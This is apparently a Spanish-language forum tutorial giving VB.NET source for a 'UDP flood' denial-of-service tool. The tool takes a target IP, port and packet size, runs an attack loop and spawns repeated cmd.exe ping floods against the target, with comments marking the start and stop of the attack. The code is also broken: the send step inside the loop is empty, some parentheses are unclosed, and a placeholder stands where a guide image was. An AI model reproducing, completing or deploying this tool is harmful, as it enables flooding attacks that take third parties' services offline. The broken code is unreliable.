Tutorial Como Crear Udp Flood (code)

3 TextBox 
4 Label 
2 Button 

Imports System 
Imports System.Collections.Generic 
Imports System.Net 
Imports System.Net.Sockets 
Imports System.Threading 

Class form1 

Dim i As Integer = 0 
Public Shared IP As String 
Public Shared Port As Integer 


Sub Main() Handles BackgroundWorker1.DoWork 
Dim Ip As IPAddress = IPAddress.Parse(TextBox1.Text) 
Dim Ipandport As New IPEndPoint(Ip, Convert.ToInt32(TextBox2.Text)) 
Dim Packet As Byte() = New Byte(TextBox3.Text) {} 
Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) 
While True 
If BackgroundWorker1.CancellationPending = True Then 
Exit Sub 
End If 
Try 
Catch ex As Exception 
BackgroundWorker1.CancelAsync() 
MsgBox("ERROR" 
End Try 
End While 
End Sub 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 
Button2.Enabled = True 
Button1.Enabled = False 
TextBox2.Enabled = False 
Label2.Enabled = False 
IP = TextBox1.Text 
Port = TextBox2.Text 
Label1.Text = ("Flood: " & IP & " port : " & Port) 
BackgroundWorker1.RunWorkerAsync() 'EMPESAR ATAQUE 

For h = 0 To NumericUpDown1.Value - 1 
Shell("cmd.exe /c ping -l " + TextBox2.Text + " " + TextBox1.Text + " " + "-t" 
Next 


End Sub 

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click 
BackgroundWorker1.CancelAsync() 'PARAR ATAQUE 
End Sub 
End Class 

ACA 1 IMAGEN DE GUIA 
 

Agradesimientos A ]Vu[Emanuel and Px]Taurus